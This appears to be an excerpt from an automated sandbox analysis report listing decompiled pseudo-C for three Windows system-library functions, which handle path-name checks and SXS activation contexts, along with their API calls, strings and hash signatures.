Function 6D2674C0, Relevance: 10.8, APIs: 7, Instructions: 264
COMMON

Download Yara Rule

C-Code - Quality: 82%

			E6D2674C0(signed short* __ecx) {
				char _v8;
				signed int _v12;
				signed int* _v16;
				void* _v20;
				signed short _t49;
				signed int _t54;
				signed int _t56;
				signed int _t57;
				signed int _t68;
				signed short* _t71;
				signed int _t74;
				signed int _t80;
				signed int _t85;
				signed int _t86;
				signed int _t87;
				signed int _t88;
				signed int _t89;
				char _t91;
				signed short* _t92;
				unsigned short _t93;
				char _t94;
				signed short* _t95;
				signed int _t100;
				unsigned short _t101;
				signed short* _t104;
				signed int _t105;
				void* _t106;
				signed int* _t107;
				signed short _t108;
				signed int _t109;
				signed int _t112;
				signed int* _t113;

				_t92 = __ecx;
				_t104 = __ecx[2];
				_t112 =  *__ecx & 0x0000ffff;
				_v8 = 0;
				if(_t112 < 2) {
					L3:
					_t49 =  *_t92;
					_t113 = _t104;
					_t108 = _t49;
					_v20 = _t49;
					_t89 = _t108 & 0x0000ffff;
					_t93 = _t89;
					_v16 = _t113;
					_t105 = _t93 >> 0x00000001 & 0x0000ffff;
					if(_t105 == 0) {
						goto L28;
					} else {
						if( *((short*)(_t113 + _t105 * 2 - 2)) == 0x3a) {
							_t43 = _t93 - 2; // 0xfffffe
							_t108 = _t43;
							_t105 = _t105 + 0xffff;
							_t94 = 1;
							_v8 = 1;
						} else {
							_t94 = 0;
						}
						if(_t105 == 0) {
							goto L28;
						} else {
							while(1) {
								_t54 =  *(_t113 + (_t105 & 0x0000ffff) * 2 - 2) & 0x0000ffff;
								if(_t54 != 0x2e && _t54 != 0x20) {
									break;
								}
								_v12 = 0xfffe;
								_t105 = _t105 + 0xffff;
								_t108 = _t108 + _v12;
								_t94 = _t94 + 1;
								if(_t105 != 0) {
									continue;
								} else {
								}
								break;
							}
							_v8 = _t94;
							_v12 = 0;
							if(_t105 == 0) {
								L20:
								_t95 = _t113;
								_t106 = _t113 + (_t105 & 0x0000ffff) * 2;
								if(_t113 < _t106) {
									while(1) {
										_t68 =  *_t95 & 0x0000ffff;
										if(_t68 == 0x2e || _t68 == 0x3a) {
											break;
										}
										_t95 =  &(_t95[1]);
										if(_t95 < _t106) {
											continue;
										}
										break;
									}
									if(_t95 > _t113) {
										while( *((short*)(_t95 - 2)) == 0x20) {
											_t95 =  &(_t95[0xffffffffffffffff]);
											if(_t95 > _t113) {
												continue;
											} else {
											}
											goto L27;
										}
									}
								}
								L27:
								_t56 = _t95 - _t113 >> 0x00000001 & 0x0000ffff;
								_t109 = _t56;
								_v20 = _t56 + _t56;
								if(_t109 != 5) {
									_t26 = _t109 - 3; // 0x37
									_t57 = _t26;
									if(_t57 > 4) {
										goto L28;
									} else {
										switch( *((intOrPtr*)(_t57 * 4 +  &M6D2677C8))) {
											case 0:
												if(RtlEqualUnicodeString( &_v20, 0x6d221040, 1) != 0 || RtlEqualUnicodeString( &_v20, 0x6d221050, 1) != 0 || RtlEqualUnicodeString( &_v20, 0x6d221048, 1) != 0) {
													goto L46;
												} else {
													_push(1);
													_push(0x6d221058);
													goto L45;
												}
												goto L76;
											case 1:
												_t36 = __esi + 6; // 0xe6d22
												__eax =  *_t36 & 0x0000ffff;
												if(iswdigit( *_t36 & 0x0000ffff) == 0) {
													goto L28;
												} else {
													if( *(__esi + 6) == 0x30) {
														goto L28;
													} else {
														_t46 = __ebx - 2; // -1
														__eax = _t46;
														_v20 = __ax;
														 &_v20 = RtlEqualUnicodeString( &_v20, 0x6d2218f8, 1);
														if(__al != 0) {
															goto L46;
														} else {
															_push(1);
															_push(0x6d221910);
															goto L45;
														}
													}
												}
												goto L76;
											case 2:
												goto L28;
											case 3:
												_push(1);
												_push(0x6d221068);
												L45:
												if(RtlEqualUnicodeString( &_v20, ??, ??) == 0) {
													goto L28;
												} else {
													goto L46;
												}
												goto L76;
											case 4:
												_t35 =  &_v20; // 0xffff0
												_t35 = RtlEqualUnicodeString(_t35, 0x6d221060, 1);
												if(__al == 0) {
													goto L28;
												} else {
													L46:
													return _t109 + _t109 | _v12 << 0x00000010;
												}
												goto L76;
										}
									}
								} else {
									goto L28;
								}
							} else {
								_t71 = _t113 + ((_t105 & 0x0000ffff) - 1) * 2;
								if(_t71 < _t113) {
									L19:
									_t74 = ( *_t113 | 0x00000020) & 0x0000ffff;
									if(_t74 != 0x70) {
										if(_t74 == 0x6c || _t74 == 0x6e || _t74 == 0x61 || _t74 == 0x63) {
											goto L20;
										} else {
											goto L28;
										}
									} else {
										goto L20;
									}
								} else {
									while(1) {
										_t100 =  *_t71 & 0x0000ffff;
										if(_t100 == 0x5c || _t100 == 0x2f) {
											break;
										}
										if(_t100 == 0x3a) {
											if(_t71 !=  &(_t113[0])) {
												goto L14;
											} else {
												break;
											}
										} else {
											L14:
											_t71 = _t71 - 2;
											if(_t71 >= _t113) {
												continue;
											} else {
												goto L19;
											}
										}
										goto L76;
									}
									_t15 =  &(_t71[1]); // 0x3b
									_t107 = _t15;
									if(_t107 >= _t113 + (_t89 & 0xfffffffe)) {
										goto L28;
									} else {
										_t80 = ( *_t107 | 0x00000020) & 0x0000ffff;
										if(_t80 != 0x70) {
											if(_t80 == 0x6c || _t80 == 0x6e || _t80 == 0x61) {
												goto L18;
											} else {
												if(_t80 != 0x63) {
													goto L28;
												} else {
													goto L18;
												}
											}
										} else {
											L18:
											_v12 = _t107 - _t113;
											_t91 = _v8;
											_t101 = _t113 - _t107 + _t89 & 0x0000ffff;
											_t113 = _t107;
											_v16 = _t113;
											_t105 = (_t101 >> 0x00000001) - _t91 & 0x0000ffff;
											_v20 = _t101 - _t91 + _t91;
											goto L19;
										}
									}
								}
							}
						}
					}
				} else {
					_t85 =  *_t104 & 0x0000ffff;
					if(_t85 == 0x5c || _t85 == 0x2f) {
						if(_t112 < 4) {
							goto L3;
						} else {
							_t86 = _t104[1] & 0x0000ffff;
							if(_t86 != 0x5c) {
								if(_t86 != 0x2f) {
									goto L3;
								} else {
									goto L54;
								}
							} else {
								L54:
								if(_t112 < 6) {
									L28:
									return 0;
								} else {
									_t87 = _t104[2] & 0x0000ffff;
									if(_t87 != 0x2e) {
										if(_t87 == 0x3f) {
											goto L56;
										} else {
											goto L28;
										}
									} else {
										L56:
										if(_t112 < 8) {
											L69:
											if(_t112 != 6) {
												goto L28;
											} else {
												goto L3;
											}
										} else {
											_t88 = _t104[3] & 0x0000ffff;
											if(_t88 == 0x5c) {
												goto L28;
											} else {
												if(_t88 == 0x2f) {
													goto L28;
												} else {
													goto L69;
												}
											}
										}
									}
								}
							}
						}
					} else {
						goto L3;
					}
				}
				L76:
			}

0x6d2674c0
0x6d2674c8
0x6d2674cd
0x6d2674d0
0x6d2674db
0x6d2674f2
0x6d2674f2
0x6d2674f4
0x6d2674f6
0x6d2674f9
0x6d2674fc
0x6d2674ff
0x6d267501
0x6d26750a
0x6d267510
0x00000000
0x6d267516
0x6d26751c
0x6d2677af
0x6d2677af
0x6d2677b2
0x6d2677b8
0x6d2677bd
0x6d267522
0x6d267522
0x6d267522
0x6d267527
0x00000000
0x6d26752d
0x6d26752d
0x6d267530
0x6d267539
0x00000000
0x00000000
0x6d26778f
0x6d267796
0x6d26779c
0x6d2677a0
0x6d2677a4
0x00000000
0x00000000
0x6d2677aa
0x00000000
0x6d2677a4
0x6d267549
0x6d26754c
0x6d267556
0x6d2675e5
0x6d2675e8
0x6d2675ea
0x6d2675ef
0x6d2675f1
0x6d2675f1
0x6d2675f7
0x00000000
0x00000000
0x6d2675fe
0x6d267603
0x00000000
0x00000000
0x00000000
0x6d267603
0x6d267607
0x6d267610
0x6d2af983
0x6d2af988
0x00000000
0x00000000
0x6d2af98e
0x00000000
0x6d2af988
0x6d267610
0x6d267607
0x6d26761b
0x6d26761f
0x6d267622
0x6d267627
0x6d26762e
0x6d267680
0x6d267680
0x6d267686
0x00000000
0x6d267688
0x6d267688
0x00000000
0x6d2676a1
0x00000000
0x6d2676cb
0x6d2676cb
0x6d2676cd
0x00000000
0x6d2676cd
0x00000000
0x00000000
0x6d267718
0x6d267718
0x6d267727
0x00000000
0x6d26772d
0x6d2af998
0x00000000
0x6d2af99e
0x6d2af99e
0x6d2af99e
0x6d2af9a3
0x6d2af9b0
0x6d2af9b7
0x00000000
0x6d2af9bd
0x6d2af9bd
0x6d2af9bf
0x00000000
0x6d2af9bf
0x6d2af9b7
0x6d2af998
0x00000000
0x00000000
0x00000000
0x00000000
0x6d26770f
0x6d267711
0x6d2676d2
0x6d2676dd
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x6d2676fc
0x6d267700
0x6d267707
0x00000000
0x6d26770d
0x6d2676e3
0x6d2676f4
0x6d2676f4
0x00000000
0x00000000
0x6d267688
0x00000000
0x00000000
0x00000000
0x6d26755c
0x6d267560
0x6d267565
0x6d2675d6
0x6d2675dd
0x6d2675e3
0x6d267661
0x00000000
0x6d26767e
0x00000000
0x6d26767e
0x00000000
0x00000000
0x00000000
0x6d267567
0x6d267567
0x6d267567
0x6d26756d
0x00000000
0x00000000
0x6d267577
0x6d26777a
0x00000000
0x6d267780
0x00000000
0x6d267780
0x6d26757d
0x6d26757d
0x6d26757d
0x6d267582
0x00000000
0x6d267584
0x00000000
0x6d267584
0x6d267582
0x00000000
0x6d267577
0x6d267586
0x6d267586
0x6d267592
0x00000000
0x6d267598
0x6d26759f
0x6d2675a5
0x6d26763c
0x00000000
0x6d267654
0x6d267657
0x00000000
0x6d267659
0x00000000
0x6d267659
0x6d267657
0x6d2675ab
0x6d2675ab
0x6d2675b3
0x6d2675b6
0x6d2675b9
0x6d2675bc
0x6d2675c1
0x6d2675ca
0x6d2675d2
0x00000000
0x6d2675d2
0x6d2675a5
0x6d267592
0x6d267565
0x6d267556
0x6d267527
0x6d2674dd
0x6d2674dd
0x6d2674e3
0x6d267735
0x00000000
0x6d26773b
0x6d26773b
0x6d267742
0x6d2af961
0x00000000
0x6d2af967
0x00000000
0x6d2af967
0x6d267748
0x6d267748
0x6d26774b
0x6d267630
0x6d267638
0x6d267751
0x6d267751
0x6d267758
0x6d267788
0x00000000
0x6d26778a
0x00000000
0x6d26778a
0x6d26775a
0x6d26775a
0x6d26775d
0x6d2af975
0x6d2af978
0x00000000
0x6d2af97e
0x00000000
0x6d2af97e
0x6d267763
0x6d267763
0x6d26776a
0x00000000
0x6d267770
0x6d2af96f
0x00000000
0x00000000
0x00000000
0x00000000
0x6d2af96f
0x6d26776a
0x6d26775d
0x6d267758
0x6d26774b
0x6d267742
0x00000000
0x00000000
0x00000000
0x6d2674e3
0x00000000

APIs

RtlEqualUnicodeString.1105(?,6D221040,00000001,?,00000024,01000000), ref: 6D26769A
RtlEqualUnicodeString.1105(?,6D221050,00000001,?,6D221040,00000001,?,00000024,01000000), ref: 6D2676AE
RtlEqualUnicodeString.1105(?,6D221048,00000001,?,6D221050,00000001,?,6D221040,00000001,?,00000024,01000000), ref: 6D2676C2
RtlEqualUnicodeString.1105(?,6D221058,00000001,?,6D221048,00000001,?,6D221050,00000001,?,6D221040,00000001,?,00000024,01000000), ref: 6D2676D6
RtlEqualUnicodeString.1105(000FFFF0,6D221060,00000001,6D221068,00000001,6D2218F8,00000001), ref: 6D267700
iswdigit.1105(000E6D22,6D221048,00000001,?,6D221050,00000001,?,6D221040,00000001,?,00000024,01000000), ref: 6D26771D
RtlEqualUnicodeString.1105(00100000,6D2218F8,00000001), ref: 6D2AF9B0

Memory Dump Source

Source File: 00000017.00000002.879476866.000000006D221000.00000020.00020000.sdmp, Offset: 6D220000, based on PE: true

Associated: 00000017.00000002.879442017.000000006D220000.00000002.00020000.sdmp Download File
Associated: 00000017.00000002.880585379.000000006D335000.00000008.00020000.sdmp Download File
Associated: 00000017.00000002.880621684.000000006D33B000.00000004.00020000.sdmp Download File
Associated: 00000017.00000002.880660522.000000006D33F000.00000002.00020000.sdmp Download File

Similarity

API ID: EqualStringUnicode$iswdigit
String ID:
API String ID: 3246613909-0
Opcode ID: ab942258beaa1d551963db67e452bb8f48797ff06cd236299fcdea89e563628e
Instruction ID: f93de295ea1764d0900a20ddd5d8fdd09617ccde5bccbafda10f4efcec32b0ba
Opcode Fuzzy Hash: ab942258beaa1d551963db67e452bb8f48797ff06cd236299fcdea89e563628e
Instruction Fuzzy Hash: 5F814531CE43EF87CB219A58E4C0BBDB3B5AF06312F504576EA60D7990E72685C582B1

Uniqueness

Uniqueness Score: -1.00%

Function 6D248D29, Relevance: 10.7, APIs: 4, Strings: 2, Instructions: 200
COMMON

Download Yara Rule

C-Code - Quality: 34%

			E6D248D29(intOrPtr __ecx, intOrPtr* _a4, intOrPtr _a8, signed int* _a12) {
				char _v8;
				signed int _v12;
				void* _v16;
				char _v20;
				char _v24;
				intOrPtr _v28;
				void* _t104;
				signed int _t106;
				intOrPtr _t110;
				intOrPtr _t111;
				intOrPtr _t113;
				signed char* _t147;
				signed int _t149;
				intOrPtr _t152;
				void* _t156;
				intOrPtr _t158;
				intOrPtr _t159;
				intOrPtr _t163;
				intOrPtr* _t164;
				intOrPtr _t165;
				intOrPtr* _t166;
				signed int* _t167;
				intOrPtr* _t168;
				signed int* _t169;
				signed int _t170;
				signed int _t172;
				void* _t174;
				short* _t175;
				short* _t176;
				void* _t177;
				void* _t178;
				void* _t187;

				_t152 = __ecx;
				_v12 = _v12 & 0x00000000;
				_t167 = _a12;
				_v28 = __ecx;
				_v20 = 0xc00000e5;
				if(_t167 != 0) {
					 *_t167 =  *_t167 & 0x00000000;
				}
				_push( &_v24);
				_t172 = 1;
				_push( &_v16);
				_push(1);
				_push(_t152);
				_push(_t152);
				_t149 = 0x30;
				_push(_t149);
				_push(_t167);
				_push(_a8);
				_push(_a4);
				E6D271D47( &_v20);
				if(_v12 == 0) {
					return _v20;
				} else {
					_push( &_v8);
					_push( &_v20);
					_t178 = _t177 - 0x14;
					_push( &_v12);
					_push( &_v12);
					_t104 = E6D248EE6(_v16, _v24);
					if(_t104 < 0) {
						return _t104;
					}
					_t163 = _v28;
					_t106 =  *((intOrPtr*)(_t163 + 0x18)) + _t163;
					_v12 = _t106;
					_t156 =  *((intOrPtr*)(_t106 + 0xc)) + _t163;
					if(1 >=  *((intOrPtr*)(_t106 + 8))) {
						L8:
						if(_t187 == 0) {
							_push(_t163);
							E6D2D5720(0x33, 0, "SXS: %s() found activation context data at %p with assembly roster that has no root\n", "RtlpQueryInformationActivationContextDetailedInformation");
							return 0xc0150003;
						}
						_t158 =  *((intOrPtr*)(_t172 * 0x18 + _t156 + 0x10)) + _t163;
						_v20 = _t158;
						_t33 = _t158 + 0x14; // 0x0
						_t110 =  *_t33;
						if(_t110 != 0) {
							_t34 = _t110 + 0x32; // 0x6d291822
							_t149 = _t34;
						}
						_t35 = _t158 + 0x28; // 0xffffffc4
						_t111 =  *_t35;
						if(_t111 != 0) {
							_t149 = _t149 + 2 + _t111;
						}
						_t113 =  *((intOrPtr*)(_v8 + 0x2c));
						if(_t113 != 0) {
							_t149 = _t149 + 2 + _t113;
						}
						if(_t149 <= _a8) {
							_t168 = _a4;
							_t174 = _a4 + 0x30;
							 *_t168 =  *((intOrPtr*)(_t163 + 0x1c));
							_t164 = _t168;
							 *((intOrPtr*)(_t164 + 4)) =  *((intOrPtr*)(_t163 + 8));
							 *((intOrPtr*)(_t164 + 8)) =  *((intOrPtr*)(_v12 + 8)) - 1;
							_t47 = _t158 + 0x10; // 0xfffffffe
							 *((intOrPtr*)(_t164 + 0xc)) =  *_t47;
							_t49 = _t158 + 0x14; // 0x0
							 *(_t164 + 0x24) =  *(_t164 + 0x24) & 0x00000000;
							 *(_t164 + 0x10) =  *_t49 >> 1;
							_t53 = _t158 + 0x24; // 0x0
							 *((intOrPtr*)(_t164 + 0x14)) =  *_t53;
							_t55 = _t158 + 0x28; // 0xffffffc4
							 *(_t164 + 0x28) =  *(_t164 + 0x28) & 0x00000000;
							 *(_t164 + 0x18) =  *_t55 >> 1;
							_t165 = _v8;
							 *((intOrPtr*)(_t168 + 0x1c)) =  *((intOrPtr*)(_t165 + 0x28));
							_t166 = _t168;
							_t169 = _a12;
							 *(_t166 + 0x2c) =  *(_t166 + 0x2c) & 0x00000000;
							 *(_t166 + 0x20) =  *(_t165 + 0x2c) >> 1;
							if( *(_t158 + 0x14) != 0) {
								_t68 = _t158 + 0x14; // 0x0
								_t69 = _t158 + 0x18; // 0x6d2b4765
								memcpy(_t174,  *_t69 + _v16,  *_t68);
								_t178 = _t178 + 0xc;
								_t158 = _v20;
								 *(_a4 + 0x24) = _t174;
								_t176 = _t174 +  *(_t158 + 0x14);
								 *_t176 = 0;
								_t174 = _t176 + 2;
							}
							if( *(_t158 + 0x28) != 0) {
								_t86 = _t158 + 0x28; // 0xffffffc4
								_t87 = _t158 + 0x2c; // 0x0
								memcpy(_t174,  *_t87 + _v16,  *_t86);
								_t178 = _t178 + 0xc;
								 *(_a4 + 0x28) = _t174;
								_t175 = _t174 +  *((intOrPtr*)(_v20 + 0x28));
								 *_t175 = 0;
								_t174 = _t175 + 2;
							}
							_t159 = _v8;
							if( *(_t159 + 0x2c) != 0) {
								memcpy(_t174,  *((intOrPtr*)(_t159 + 0x30)) + _t159,  *(_t159 + 0x2c));
								 *(_a4 + 0x2c) = _t174;
								 *((short*)(_t174 +  *((intOrPtr*)(_v8 + 0x2c)))) = 0;
							}
							if(_t169 != 0) {
								 *_t169 = _t149;
							}
							return 0;
						} else {
							if(_t167 != 0) {
								 *_t167 = _t149;
							}
							return 0xc0000023;
						}
					}
					_t170 = _v12;
					_t24 = _t156 + 0x18; // 0x116
					_t147 = _t24;
					while(( *_t147 & 0x00000002) == 0) {
						_t172 = _t172 + 1;
						_t147 =  &(_t147[0x18]);
						if(_t172 <  *((intOrPtr*)(_t170 + 8))) {
							continue;
						}
						break;
					}
					_t167 = _a12;
					_t187 = _t172 -  *((intOrPtr*)(_v12 + 8));
					goto L8;
				}
			}

0x6d248d29
0x6d248d31
0x6d248d38
0x6d248d3b
0x6d248d3e
0x6d248d47
0x6d248d49
0x6d248d49
0x6d248d51
0x6d248d55
0x6d248d56
0x6d248d57
0x6d248d58
0x6d248d59
0x6d248d5c
0x6d248d5d
0x6d248d5e
0x6d248d5f
0x6d248d65
0x6d248d6b
0x6d248d76
0x00000000
0x6d248d7c
0x6d248d82
0x6d248d86
0x6d248d87
0x6d248d8d
0x6d248d8e
0x6d248d92
0x6d248d99
0x6d248e14
0x6d248e14
0x6d248d9b
0x6d248da1
0x6d248da3
0x6d248da9
0x6d248dae
0x6d248dc8
0x6d248dc8
0x6d2a348b
0x6d2a349a
0x00000000
0x6d2a34a2
0x6d248dd5
0x6d248dd7
0x6d248dda
0x6d248dda
0x6d248ddf
0x6d248de1
0x6d248de1
0x6d248de1
0x6d248de4
0x6d248de4
0x6d248de9
0x6d2a34af
0x6d2a34af
0x6d248df2
0x6d248df7
0x6d248dfc
0x6d248dfc
0x6d248e01
0x6d248e1a
0x6d248e20
0x6d248e23
0x6d248e28
0x6d248e2a
0x6d248e34
0x6d248e37
0x6d248e3a
0x6d248e3d
0x6d248e40
0x6d248e46
0x6d248e49
0x6d248e4c
0x6d248e4f
0x6d248e52
0x6d248e58
0x6d248e5b
0x6d248e61
0x6d248e67
0x6d248e69
0x6d248e6e
0x6d248e72
0x6d248e79
0x6d248e7b
0x6d248e7e
0x6d248e86
0x6d248e8e
0x6d248e91
0x6d248e94
0x6d248e99
0x6d248e9c
0x6d248e9f
0x6d248e9f
0x6d248ea6
0x6d2a34b6
0x6d2a34b9
0x6d2a34c1
0x6d2a34c9
0x6d2a34cc
0x6d2a34d2
0x6d2a34d7
0x6d2a34da
0x6d2a34da
0x6d248eac
0x6d248eb3
0x6d248ebf
0x6d248ecc
0x6d248ed5
0x6d248ed5
0x6d248edb
0x6d248edd
0x6d248edd
0x00000000
0x6d248e03
0x6d248e05
0x6d248e07
0x6d248e07
0x00000000
0x6d248e09
0x6d248e01
0x6d248db0
0x6d248db3
0x6d248db3
0x6d248db6
0x6d2a3479
0x6d2a347a
0x6d2a3480
0x00000000
0x00000000
0x00000000
0x6d2a3486
0x6d248dc2
0x6d248dc5
0x00000000
0x6d248dc5

APIs

memcpy.1105(-00000030,?,00000000,?,00000000,?,?,6D2917F0,00000000,?,00000000,?), ref: 6D248E86
memcpy.1105(-00000030,?,?,?,00000000,?,?,6D2917F0,00000000,?,00000000,?), ref: 6D248EBF

Strings

SXS: %s() found activation context data at %p with assembly roster that has no root, xrefs: 6D2A3491
RtlpQueryInformationActivationContextDetailedInformation, xrefs: 6D2A348C

Memory Dump Source

Source File: 00000017.00000002.879476866.000000006D221000.00000020.00020000.sdmp, Offset: 6D220000, based on PE: true

Associated: 00000017.00000002.879442017.000000006D220000.00000002.00020000.sdmp Download File
Associated: 00000017.00000002.880585379.000000006D335000.00000008.00020000.sdmp Download File
Associated: 00000017.00000002.880621684.000000006D33B000.00000004.00020000.sdmp Download File
Associated: 00000017.00000002.880660522.000000006D33F000.00000002.00020000.sdmp Download File

Similarity

API ID: memcpy
String ID: RtlpQueryInformationActivationContextDetailedInformation$SXS: %s() found activation context data at %p with assembly roster that has no root
API String ID: 3510742995-1732449319
Opcode ID: 44721286d85acd9325572e2461fac61a61610113205b799ca3af0230c765310e
Instruction ID: 6d5ade27161177338441ece7cbb9e14d6830346593fbcdb93637d102bc21e338
Opcode Fuzzy Hash: 44721286d85acd9325572e2461fac61a61610113205b799ca3af0230c765310e
Instruction Fuzzy Hash: 8F712EB5A5021ADFDB09CF58C880AAAB7F5FF48314F258199E8189B352D331E991CBD4

Uniqueness

Uniqueness Score: -1.00%

Function 6D2620A0, Relevance: 10.7, APIs: 4, Strings: 2, Instructions: 199
COMMON

Download Yara Rule

C-Code - Quality: 67%

			E6D2620A0(intOrPtr* __ecx) {
				signed int _v0;
				signed int _v8;
				signed char _v60;
				signed int* _v64;
				signed char _v68;
				signed int* _v72;
				intOrPtr _v76;
				signed int* _v84;
				signed int* _v88;
				char _v92;
				signed int _v96;
				signed char _v100;
				void* __ebx;
				void* __edi;
				void* __esi;
				void* __ebp;
				signed char _t111;
				void* _t133;
				signed char _t134;
				signed int* _t135;
				signed int* _t136;
				signed char _t138;
				signed int* _t142;
				signed int* _t144;
				void* _t145;
				intOrPtr* _t147;
				void* _t149;
				signed int _t152;
				signed int _t154;

				_t154 = (_t152 & 0xfffffff8) - 0x64;
				_v8 =  *0x6d33d360 ^ _t154;
				_t144 =  *( *[fs:0x18] + 0x1a8);
				_t147 = __ecx;
				if(_t144 == 0) {
					_t142 = 0;
				} else {
					_t142 =  *_t144;
				}
				_t138 =  *(_t147 + 0x10);
				if((_t138 & 0x00000040) != 0) {
					_v84 = 0;
					_v76 = 3;
					_v72 = 0;
					_v68 = _t147 + 8;
					_v64 =  *_t144;
					_push( &_v92);
					_v92 = 0xc0150011;
					_v88 = 0;
					_t104 = E6D29DEF0(_t138, _t142);
					goto L12;
				} else {
					if((_t138 & 0x00000020) == 0) {
						_v84 = 0;
						_v76 = 3;
						_v72 = 0;
						_v68 = _t147 + 8;
						_v64 =  *_t144;
						_v92 = 0xc0150010;
						L25:
						_v88 = 1;
						_push( &_v92);
						_t104 = E6D29DEF0(_t138, _t142);
						L12:
						_pop(_t145);
						_pop(_t149);
						_pop(_t133);
						return E6D28B640(_t104, _t133, _v0 ^ _t154, _t142, _t145, _t149);
					}
					_t104 = _t138 & 0x00000060;
					if((_t138 & 0x00000060) != 0x20) {
						_v84 = 0;
						_v76 = 4;
						_v72 = _t144;
						_v68 = _t142;
						_v64 = _t147 + 8;
						_v60 = _t138;
						_v92 = 0xc0150014;
						goto L25;
					}
					if( *_t147 < 0x24) {
						L8:
						if(_t142 != 0) {
							_t134 = _t142[2];
							_t104 = _t134 & 0x00000070;
							if((_t134 & 0x00000070) != 0x20) {
								L28:
								_v84 = 0;
								_v76 = 4;
								_v72 = _t144;
								_v68 = _t142;
								_v64 = _t142;
								_v60 = _t142[2];
								_v92 = 0xc0150014;
								goto L25;
							}
							if((_t134 & 0x00000008) != 0 ||  *((intOrPtr*)(_t142 - 8)) < 0x24) {
								goto L9;
							} else {
								if(_t142[3] !=  !( *_t142)) {
									goto L28;
								}
								_t104 =  !(_t142[1]);
								if(_t142[4] ==  !(_t142[1])) {
									goto L9;
								}
								goto L28;
							}
						}
						L9:
						if((_t138 & 0x00000010) == 0) {
							_t27 = _t147 + 8; // 0x2c
							_t135 = _t27;
							if(_t142 != _t135) {
								_t111 =  *_t144;
								_push(_t135);
								_push(_t111);
								_v100 = _t111;
								_v96 =  *_t135;
								E6D2D5720(0x33, 2, "SXS: %s() Active frame is not the frame being deactivated %p != %p\n", "RtlDeactivateActivationContextUnsafeFast");
								_t138 = _v100;
								_t154 = _t154 + 0x18;
								_t142 = 0;
								if(_t138 == 0) {
									L36:
									_v84 = 0;
									_v76 = 3;
									_v72 = _t142;
									_v68 = _t135;
									_v64 =  *_t144;
									if(_t138 == 0) {
										_v92 = 0xc0150010;
										_v88 = 1;
									} else {
										_v88 = 0;
										_v92 = (0 | _t142 == 0x00000000) * 2 - 0x3feafff1;
									}
									_push( &_v92);
									E6D29DEF0(_t138, _t142);
									goto L20;
								}
								while(_t138 != _v96) {
									if(( *(_t138 + 8) & 0x00000070) != 0x20 || ( *(_t138 + 8) & 0x00000008) == 0 && ( *((intOrPtr*)(_t138 + 0xc)) !=  !( *_t138) ||  *((intOrPtr*)(_t138 + 0x10)) !=  !( *(_t138 + 4)))) {
										_v84 = 0;
										_v76 = 4;
										_v72 = _t144;
										_v68 = _t138;
										_v64 = _t135;
										_v60 =  *(_t138 + 8);
										_v92 = 0xc0150014;
										goto L25;
									} else {
										_t138 =  *_t138;
										_t142 =  &(_t142[0]);
										if(_t138 != 0) {
											continue;
										}
										goto L36;
									}
								}
								goto L36;
							}
							L20:
							_t104 =  *_t135;
							 *_t144 =  *_t135;
						}
						 *(_t147 + 0x10) =  *(_t147 + 0x10) | 0x00000040;
						if( *_t147 >= 0x24) {
							_t104 = _v0;
							 *(_t147 + 0x20) = _v0;
						}
						goto L12;
					}
					_t9 = _t147 + 8; // 0x2c
					_t136 = _t9;
					if( *((intOrPtr*)(_t147 + 0x14)) !=  !( *(_t147 + 8))) {
						L27:
						_v84 = 0;
						_v76 = 4;
						_v72 = _t144;
						_v68 = _t142;
						_v64 = _t136;
						_v60 = _t138;
						_v92 = 0xc0150014;
						goto L25;
					}
					_t104 =  !( *(_t147 + 0xc));
					if( *((intOrPtr*)(_t147 + 0x18)) !=  !( *(_t147 + 0xc))) {
						goto L27;
					}
					goto L8;
				}
			}

0x6d2620a8
0x6d2620b2
0x6d2620bf
0x6d2620c5
0x6d2620c9
0x6d2acfc8
0x6d2620cf
0x6d2620cf
0x6d2620cf
0x6d2620d1
0x6d2620d7
0x6d2acfd2
0x6d2acfda
0x6d2acfe2
0x6d2acfea
0x6d2acff0
0x6d2acff8
0x6d2acff9
0x6d2ad001
0x6d2ad009
0x00000000
0x6d2620dd
0x6d2620e0
0x6d2ad016
0x6d2ad01e
0x6d2ad026
0x6d2ad02e
0x6d2ad034
0x6d2ad038
0x6d2ad06d
0x6d2ad071
0x6d2ad079
0x6d2ad07a
0x6d26212e
0x6d262132
0x6d262133
0x6d262134
0x6d26213f
0x6d26213f
0x6d2620e8
0x6d2620ec
0x6d2ad087
0x6d2ad08f
0x6d2ad097
0x6d2ad09b
0x6d2ad09f
0x6d2ad0a3
0x6d2ad0a7
0x00000000
0x6d2ad0a7
0x6d2620f5
0x6d262116
0x6d262118
0x6d262140
0x6d262145
0x6d262149
0x6d2ad0db
0x6d2ad0db
0x6d2ad0e3
0x6d2ad0eb
0x6d2ad0ef
0x6d2ad0f3
0x6d2ad0fa
0x6d2ad0fe
0x00000000
0x6d2ad0fe
0x6d262152
0x00000000
0x6d26215a
0x6d262161
0x00000000
0x00000000
0x6d26216a
0x6d26216f
0x00000000
0x00000000
0x00000000
0x6d262171
0x6d262152
0x6d26211a
0x6d26211d
0x6d262176
0x6d262176
0x6d26217b
0x6d2ad10b
0x6d2ad10f
0x6d2ad110
0x6d2ad11f
0x6d2ad123
0x6d2ad127
0x6d2ad12c
0x6d2ad130
0x6d2ad133
0x6d2ad137
0x6d2ad174
0x6d2ad174
0x6d2ad17c
0x6d2ad184
0x6d2ad188
0x6d2ad18e
0x6d2ad194
0x6d2ad1b2
0x6d2ad1ba
0x6d2ad196
0x6d2ad198
0x6d2ad1ac
0x6d2ad1ac
0x6d2ad1c6
0x6d2ad1c7
0x00000000
0x6d2ad1c7
0x6d2ad139
0x6d2ad146
0x6d2ad042
0x6d2ad04a
0x6d2ad052
0x6d2ad056
0x6d2ad05a
0x6d2ad061
0x6d2ad065
0x00000000
0x6d2ad16d
0x6d2ad16d
0x6d2ad16f
0x6d2ad172
0x00000000
0x00000000
0x00000000
0x6d2ad172
0x6d2ad146
0x00000000
0x6d2ad139
0x6d262181
0x6d262181
0x6d262183
0x6d262183
0x6d26211f
0x6d262126
0x6d262128
0x6d26212b
0x6d26212b
0x00000000
0x6d262126
0x6d2620fa
0x6d2620fa
0x6d262102
0x6d2ad0b1
0x6d2ad0b1
0x6d2ad0b9
0x6d2ad0c1
0x6d2ad0c5
0x6d2ad0c9
0x6d2ad0cd
0x6d2ad0d1
0x00000000
0x6d2ad0d1
0x6d26210b
0x6d262110
0x00000000
0x00000000
0x00000000
0x6d262110

APIs

RtlRaiseException.1105(?), ref: 6D2AD009
RtlRaiseException.1105(C0150010), ref: 6D2AD07A
DbgPrintEx.1105(00000033,00000002,SXS: %s() Active frame is not the frame being deactivated %p != %p,RtlDeactivateActivationContextUnsafeFast,?,0000002C,?,00000000,000000FF), ref: 6D2AD127
